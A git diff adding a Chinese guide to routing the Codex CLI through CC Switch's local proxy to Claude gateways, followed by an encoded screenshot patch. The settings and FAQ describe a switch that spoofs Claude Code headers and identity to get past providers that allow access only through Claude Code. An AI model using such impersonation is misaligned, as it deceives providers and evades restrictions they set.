客户端**:默认关闭。仅当网关或其上游限制「只能通过 Claude Code 使用」时才打开,开启后会伪装 User-Agent、`anthropic-beta`、`x-app` 请求头,并在系统提示首行注入 Claude Code 身份。普通网关不需要开;开启后仍被拒的处理见「常见问题」。 +- **最大输出 tokens**:Anthropic 协议的 `max_tokens` 是必填项,而 Codex 请求未携带输出上限时,路由按保守的 8192 兜底,长回答或深度思考可能被截断(表现为回复不完整、`stop_reason=max_tokens`)。遇到截断就在这里按模型真实上限调高,但不要超过——超了上游会直接 400。 + +同区的 `模型映射` 是可选项:把 `claude-opus-4-8`、`claude-sonnet-5`、`claude-haiku-4-5-20251001` 这类模型 id(以你上游认识的名字为准)逐行加进去,CC Switch 会生成模型目录让 Codex 的 `/model` 菜单能列出它们;不填也能用,Codex 会直接请求默认模型。 + +保存供应商后,卡片上会出现 `需要路由` 标记——这类供应商必须在本地路由运行时才能正常工作。 + +## 第二步:开启本地路由并接管 Codex + +进入设置里的 `路由` 页面,展开 `本地路由`,完成两个开关: + +1. 打开 `路由总开关`,启动本地服务(首次开启会弹出一个说明确认框)。默认地址是 `127.0.0.1:15721`。 +2. 在 `路由启用` 中打开 `Codex`。如果只想让 Codex 走路由,可以保持 Claude、Gemini 关闭。 + +![本地路由页面中启用 Codex 接管](../images/codex-claude-routing/04-local-route-codex-takeover.png) + +接管后,CC Switch 会把 Codex 的 live 配置指向本机路由(`base_url = http://127.0.0.1:15721/v1`),`auth.json` 里只有占位符。真实 Claude Key 仍保存在 CC Switch 的供应商配置里,由本地路由在转发时按你选的认证字段注入。 + +## 第三步:切换供应商并重启 Codex + +回到 Codex 供应商列表,点击 Claude 供应商的 `启用`。如果路由没有在运行,CC Switch 会提示「此供应商使用 Anthropic Messages 接口格式,需要路由服务才能正常使用,请先启动路由」——回到第二步打开即可。 + +切换后建议重启当前 Codex 终端会话:`config.toml` 和模型目录是 Codex 进程启动时读取的,运行中的进程不保证热加载。 + +进入 Codex 后可以逐级验证: + +- 配置了模型映射的话,用 `/model` 查看 Claude 模型是否已出现在菜单里;没配映射时 Codex 直接用默认模型。 +- 发一个小问题,观察设置 → 路由页面的「当前 Provider」从「等待首次请求」变成你的 Claude 供应商、「总请求数」开始增长。 +- 用量看板里,这些请求的模型名会如实显示为 `claude-*`,可按供应商筛选核对 token 用量。 + +## 能力边界与已知限制 + +- **提示缓存自动生效**:转换桥会按 Anthropic 标准注入 5 分钟提示缓存标记(系统提示、工具定义与对话历史),长对话不会每轮全价重发,无需任何配置。 +- **推理与工具无损**:extended thinking 内容跨桥往返保留,多轮工具调用、图片与 PDF 输入都被完整转换。 +- **支持 `[1m]` 长上下文标记**:默认模型或模型映射里的模型 id 以 `[1m]` 结尾(如 `claude-sonnet-5[1m]`)时,路由会剥掉标记并自动补发对应的 1M 上下文 beta 头,前提是网关支持该能力。 +- **联网搜索不可用**:Anthropic 上游模式下 Codex 的内置 `web_search` 会被主动禁用——转换层无法把它翻译给 Anthropic 端点,禁用是为了不给模型呈现一个必然失败的工具。 +- **截断如实上报**:上游停在输出上限或流被掐断时,Codex 会看到「未完成」而不是被伪装的成功,方便你察觉并调高最大输出 tokens。 + +## 常见问题 + +**上游返回 401 或 403** + +十有八九是认证字段与网关要求不符:在 `ANTHROPIC_AUTH_TOKEN(Authorization)` 与 `ANTHROPIC_API_KEY(x-api-key)` 之间按网关文档换一个再试(多数网关用默认的 Bearer)。另外确认 Key 本身有效、有余额。 + +**Codex 报 404 或找不到 `/responses`** + +通常是没有开启 Codex 路由接管,或者你手动把网关的地址直接写给了 Codex——Anthropic 协议的上游没有 `/responses` 端点,这样一定 404。检查 `~/.codex/config.toml` 里当前 provider 的 `base_url` 是否指向 `http://127.0.0.1:15721/v1`。 + +**上游返回 404(路由已开启)** + +检查 API 请求地址:应该是网关的服务根地址,而不是带 `/chat/completions` 之类其它协议路径的地址。网关路径特殊时,用 `完整 URL` 开关直接粘贴完整的 messages 端点。 + +**回复经常中途截断** + +这是默认 8192 输出上限的表现。在供应商表单高级选项的 `最大输出 tokens` 里调高(不要超过模型/网关真实上限),保存后重试。 + +**`/model` 看不到 Claude 模型** + +确认模型映射里已添加条目,保存供应商后重启 Codex——模型目录不会被运行中的进程热加载。默认模型不在映射里时菜单不会列出它,但直接请求仍然有效。 + +**联网搜索用不了** + +设计如此,见「能力边界」。需要联网搜索的任务建议切回 Responses/Chat 格式的供应商。 + +**报错提示只能在 Claude Code 中使用** + +部分供应商会限制其 Claude API 只能在 Claude Code 客户端中使用,经 Codex 走本攻略的链路时会被拒绝。可以尝试打开高级选项里的 `模拟 Claude Code 客户端` 开关;若开启后仍然报错,说明限制在供应商服务端,请咨询供应商确认你的 Key 能否在 Claude Code 之外使用。普通网关请保持该开关关闭。 + +## 合规提示 + +在「公司禁客户端、只留网关」的场景下使用前,建议确认这样做符合你所在组织的具体政策——被禁的是特定客户端还是某种使用方式,各家口径不同。使用第三方中转网关时,请阅读目标网关关于计费、合规与数据留存的条款。 + +## 参考链接 + +- [CC Switch 用户手册:代理服务](../user-manual/zh/4-proxy/4.1-service.md) +- [CC Switch 用户手册:应用路由](../user-manual/zh/4-proxy/4.2-routing.md) +- [CC Switch v3.17.0 发布说明](../release-notes/v3.17.0-zh.md) +- 功能来自社区贡献 [#5071](https://github.com/farion1231/cc-switch/pull/5071),感谢 @yeeyzy diff --git a/docs/images/codex-claude-routing/01-codex-providers-require-routing.png b/docs/images/codex-claude-routing/01-codex-providers-require-routing.png new file mode 100644 index 0000000000000000000000000000000000000000..4a2edcdd8b211a0c8428138203a9d4d5f4432441 GIT binary patch literal 301065 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 